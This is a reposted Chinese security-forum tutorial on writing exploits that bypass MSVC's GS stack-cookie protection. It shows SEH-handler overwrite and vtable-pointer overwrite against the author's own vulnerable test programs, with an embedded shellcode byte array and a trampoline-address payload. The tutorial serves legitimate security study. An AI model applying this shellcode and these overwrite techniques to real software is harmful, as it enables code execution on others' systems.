EXP编写学习之绕过GS

渗透技巧 1年前 (2023) admin
333 0 0

EXP编写学习之绕过GS

本文为看雪论坛优秀文章

看雪论坛作者ID:yumoqaq



栈中的守护天使 :GS


GS原理

向栈内压入一个随机的DWORD值,这个随机数被称为canary ,IDA称为 Security Cookie。

Security Cookie 放入 ebp前,并且data节中存放一个 Security Cookie的副本。

栈中发生溢出时,Security Cookie首先被淹没,之后才是ebp和返回地址。

函数返回之前,会添加一个Security Cookie验证操作,称为Security Check。

Security Check过程中,比较栈中的Security Cookie与data节中的副本,如果不吻合,则栈中发生了溢出。

检测到溢出时,系统将进入异常处理流程,函数不会正常返回,ret也不会被执行。

在VS2005以后的版本,添加了变量重排技术,把缓冲区放到最下面,防止溢出到变量中,同时还把指针参数和字符串参数复制到栈顶,防止函数参数被破坏。


Security Cookie的生成

系统以data节的第一个 DWORD值作为Cookie种子,或称为原始Cookie(所有函数的Cookie都用它生成)。

程序每次运行,种子都不同,具有很强的随机性。

在栈帧初始化以后,用ebp xor 种子 ,作为当前函数的Cookie,以此作为不同函数的区别,并增加随机性。

函数返回前,用ebp 还原出 Cookie 种子 ,进行比较。


GS不会被应用的情况

函数不包含缓冲区。

函数被定义为具有变量参数列表。

函数使用无保护的关键字标记。

函数在第一个语句中内联汇编代码。

缓冲区不是8字节类型 且 大小不大于4个字节。

编译指令 #pragma strict_gs_check(on) 可以为函数强制启用GS。


逆向分析GS


1.用C语言写一个简单的程序,开启GS编译选项,Release编译,观察一下汇编代码(没有GS的汇编代码相信读者已经在之前的章节中看过了)。


#include <stdio.h>#include <Windows.h> int main(int arc, char** argv){    char szBuff[100] = { 0 };    strcpy(szBuff, argv[1]);    printf("%sn", szBuff);     return 0;}

EXP编写学习之绕过GS


2.生成exe后,ida打开

EXP编写学习之绕过GS

可以看到,把安全cookie给eax, 与 ebp异或后, 放入栈中ebp-4的位置 ,然后再去函数末尾看一下。

EXP编写学习之绕过GS

可以看到,在printf调用后, 把栈中的 cookie拿出来给ecx , ecx与ebp异或后, 调用了一个函数。


这个函数就是检查cookie的函数Security Check , 先把结果与.data节中的原始 cookie进行比较 , 如果相同则正常返回, 如果不同则跳转。


然后继续跟着跳转往下看,可以看到最后调用了这个函数:

EXP编写学习之绕过GS

这里的ExceptionInfo是异常处理需要的结构体,可以在前面看到被赋值,看一下最后的函数调用。

EXP编写学习之绕过GS

最后这个函数设置了一个空的异常处理函数,之后调用系统自己的异常处理函数,并传入之前的ExceptionInfo,之后获取当前进程后强制结束。


看一下cookie,确实在.data节中, 并且是一个随机值(读者可以调试打开查看,IDA是静态分析工具,cookie会在进入主函数前初始化)。

EXP编写学习之绕过GS

3.也就是说,如果cookie被覆盖,则不会按照原来流程返回到被覆盖的 retaddr ,验证了前面的原理部分。


4.变量重排比较好理解,因为一般栈空间是按照你的变量顺序来的,重排后,把缓冲区放到距离cookie最近的地方,防止溢出到关键变量,但是没有溢出到cookie的情况。


5.根据以上总结与分析,硬刚GS还是比较困难的,所以我们不得不研究绕过GS的办法。



绕过GS的方式


这里提出四点,我们实践两点,2与3 , 1与4是理论上可行的,但是实际环境几乎不可能。

  • 利用未被保护的内存突破GS
  • 覆盖虚函数突破GS
  • 攻击SEH突破GS
  • 同时替换栈中和.data中的Cookie突破GS(硬刚覆盖返回地址)


攻击SEH突破GS


1.使用C语言写一个测试程序。

#include <stdio.h>#include <Windows.h> void __stdcall test(char* str, char* out){    char buf[200] = { 0 };     __try    {        strcpy(buf, str);        strcpy(out, buf);    }    __except (1)    {        printf("Error OverFlown");    }}  int main(int arc, char** argv){    char buf1[500];    memset(buf1, 0x90, 1000);     char buf2[100] = { 0 };    test(buf1, buf2);     return 0;}


代码简要解释 :test是一个溢出函数 且 注册了SEH , 把buf1 的 500字节的数据 放入 test函数中的200字节大小的缓冲区中, 此时会造成溢出,溢出后会覆盖到 out 的地址(参数地址 ebp + n),然后再次拷贝buf到out 的过程中 , 会触发非法访问,转入异常处理流程,但是此时函数并没有执行到返回,也就是没有执行到 check cookie函数, 所以可以覆盖SEH来实现绕过 GS。


2.开启GS选项,关闭SafeSEH DEP ASLR选项与优化,生成exe,调试器打开查看, 查看后发现,SEH被编译器扩展(不展开分析)。


好的好的,调试器定位一下test函数,在经过第一次strcpy后,查看SEH链 ,之后继续运行, 访问90909090产生异常。

EXP编写学习之绕过GS

这个可以证明,攻击SEH是可行的,但是如果你想攻击这个程序,你还得考虑绕过SafeSEH(主模块的地址包含00,无法利用)。


3.修改一下测试代码 ,加入shellcode ,用来展示利用过程,溢出到系统的异常处理, 可以使用 msfvenom生成(参考上篇)。

#include <stdio.h>#include <Windows.h> unsigned char shellcode[500] ="xd9xebx9bxd9x74x24xf4x31xd2xb2x77x31xc9x64x8b""x71x30x8bx76x0cx8bx76x1cx8bx46x08x8bx7ex20x8b""x36x38x4fx18x75xf3x59x01xd1xffxe1x60x8bx6cx24""x24x8bx45x3cx8bx54x28x78x01xeax8bx4ax18x8bx5a""x20x01xebxe3x34x49x8bx34x8bx01xeex31xffx31xc0""xfcxacx84xc0x74x07xc1xcfx0dx01xc7xebxf4x3bx7c""x24x28x75xe1x8bx5ax24x01xebx66x8bx0cx4bx8bx5a""x1cx01xebx8bx04x8bx01xe8x89x44x24x1cx61xc3xb2""x08x29xd4x89xe5x89xc2x68x8ex4ex0execx52xe8x9f""xffxffxffx89x45x04xbbx7exd8xe2x73x87x1cx24x52""xe8x8exffxffxffx89x45x08x68x6cx6cx20x41x68x33""x32x2ex64x68x75x73x65x72x30xdbx88x5cx24x0ax89""xe6x56xffx55x04x89xc2x50xbbxa8xa2x4dxbcx87x1c""x24x52xe8x5fxffxffxffx68x6fx78x58x20x68x61x67""x65x42x68x4dx65x73x73x31xdbx88x5cx24x0ax89xe3""x68x58x20x20x20x68x4dx53x46x21x68x72x6fx6dx20""x68x6fx2cx20x66x68x48x65x6cx6cx31xc9x88x4cx24""x10x89xe1x31xd2x52x53x51x52xffxd0x31xc0x50xff""x55x08"; void  __stdcall test(char* input){    char buf[200];    strcpy(buf, input);    strcat(buf, input);}  int main(int arc, char** argv){    memset(shellcode + strlen(shellcode), 0x90, sizeof(shellcode) - strlen(shellcode));     test(shellcode);} //代码的简单解释//还是之前的原理,溢出到参数列表,造成strcat访问异常,导致程序进入异常处理//但是我们没有自己生成SEH,而是溢出到系统的SEH结构,这样可以避免我们在这个知识点中关心SafeSEH的绕过


EXP编写学习之绕过GS


4.在shellcode中,确定偏移后,覆盖系统的Handler即可。

#include <stdio.h>#include <Windows.h> unsigned char shellcode[500] ="xd9xebx9bxd9x74x24xf4x31xd2xb2x77x31xc9x64x8b""x71x30x8bx76x0cx8bx76x1cx8bx46x08x8bx7ex20x8b""x36x38x4fx18x75xf3x59x01xd1xffxe1x60x8bx6cx24""x24x8bx45x3cx8bx54x28x78x01xeax8bx4ax18x8bx5a""x20x01xebxe3x34x49x8bx34x8bx01xeex31xffx31xc0""xfcxacx84xc0x74x07xc1xcfx0dx01xc7xebxf4x3bx7c""x24x28x75xe1x8bx5ax24x01xebx66x8bx0cx4bx8bx5a""x1cx01xebx8bx04x8bx01xe8x89x44x24x1cx61xc3xb2""x08x29xd4x89xe5x89xc2x68x8ex4ex0execx52xe8x9f""xffxffxffx89x45x04xbbx7exd8xe2x73x87x1cx24x52""xe8x8exffxffxffx89x45x08x68x6cx6cx20x41x68x33""x32x2ex64x68x75x73x65x72x30xdbx88x5cx24x0ax89""xe6x56xffx55x04x89xc2x50xbbxa8xa2x4dxbcx87x1c""x24x52xe8x5fxffxffxffx68x6fx78x58x20x68x61x67""x65x42x68x4dx65x73x73x31xdbx88x5cx24x0ax89xe3""x68x58x20x20x20x68x4dx53x46x21x68x72x6fx6dx20""x68x6fx2cx20x66x68x48x65x6cx6cx31xc9x88x4cx24""x10x89xe1x31xd2x52x53x51x52xffxd0x31xc0x50xff""x55x08x90x90x90x90x90x90x90x90x90x90x90x90"; void  __stdcall test(char* input){    char buf[200];    strcpy(buf, input);    strcat(buf, input);}  int main(int arc, char** argv){    int len = strlen(shellcode);    memset(shellcode + strlen(shellcode), 0x90, sizeof(shellcode) - strlen(shellcode));    int* ptr = &shellcode[len];    *ptr = &shellcode;     test(shellcode);}


运行进行测试,可以看到拷贝后,刚好覆盖到handler。

EXP编写学习之绕过GS

不用调试器直接打开此程序 , 可以看到,成功执行shellcode。

EXP编写学习之绕过GS

攻击虚函数绕过GS


’1.使用C++编写一个漏洞程序 , 为了避免操作复杂化, 我们直接在程序中定义shellcode,来进行演示。

#include <stdio.h>#include <Windows.h>  class Foo{public:    void Overflow(char* src){        char buf[8] = { 0 };        strcpy(buf, src);        bar();    }     virtual void bar(){     } }; char shellcode[] ="x90x90x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90x90x90";  int main(int arc, char** argv){    Foo test;    test.Overflow(shellcode);    return 0;}


2.对代码的介绍:Foo中的成员函数 Overflow存在溢出,且它调用了虚函数 bar , 如果我们能通过溢出,覆盖到虚表指针,则可以实现漏洞利用


3.现在需要搞清楚,虚表的位置 , 调试器打开看一下。


EXP编写学习之绕过GS


可以看到,在调用成员函数的时候的两个参数,这个对象只有4字节的大小,也就是只有一个虚表,跟进查看。


EXP编写学习之绕过GS


这里可以看到,目的地址为19FF0C , 对应的栈位置为8个0的数据, 对应buf大小。


19FF0C 到 虚表的偏移为 28 ,好的, 现在我们面临一个 call eax的操作, 也就是调用虚函数。


那么覆盖成什么数据才可以让程序流程转到我们的shellcode?


看一下汇编代码, ebp-10 的位置为 19FF24 , 也就是对象的首地址 , 然后从19FF24中取出数据 给 eax。


eax = 19FF24 ,然后从eax中取出数据给 edx , edx = 40210C ,也就是edx是虚表。


然后从 edx中取出4字节数据, 给eax , eax = vftable[0] , 也就是第一个虚函数。


好的,思考一下,我们看到栈中的情况, shellcode的地址在 403018 , 那么我们是不是可以覆盖虚表指针为403018 (没有ASLR)然后程序会取shellcode的前4字节,作为虚函数执行。


shellcode前4字节设置为跳板地址。


4.现在准备call eax , 可以看到eax已经被覆盖为 shellcode前4字节 90909090。


观察寄存器可以发现, ecx edx ebp都可以利用, 例如 跳板地址的指令为 call ebp 或者 jmp ebp (选ebp还有个好处,可以跳过前4字节的垃圾指令)。

EXP编写学习之绕过GS


通过搜索跳板指令, 找到这个地址 0x77528A50(call ebp), 所以最后的利用方式是这样的:

//0x77528A50char shellcode[] ="x50x8Ax52x77x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90x90x90x18x30x40";


重新编译,运行,调试,跟踪, 程序来到了nop区执行 ,代表着成功利用

EXP编写学习之绕过GS


参考资料

0day2




EXP编写学习之绕过GS


看雪ID:yumoqaq

https://bbs.kanxue.com/user-home-930159.htm

*本文由看雪论坛 yumoqaq 原创,转载请注明来自看雪社区

EXP编写学习之绕过GS

# 往期推荐

1、EXP编写学习之网络上的EXP

2、CVE-2021-42287 Windows域内提权漏洞原理分析

3、Windows平台用户层二进制漏洞模糊测试入门

4、seccomp-bpf+ptrace实现修改系统调用原理

5、无限续杯——从app破解角度学习安卓保护手段

6、Android – 系统级源码调试


EXP编写学习之绕过GS


EXP编写学习之绕过GS

球分享

EXP编写学习之绕过GS

球点赞

EXP编写学习之绕过GS

球在看


EXP编写学习之绕过GS

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):EXP编写学习之绕过GS

版权声明:admin 发表于 2023年2月18日 下午6:00。
转载请注明:EXP编写学习之绕过GS | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...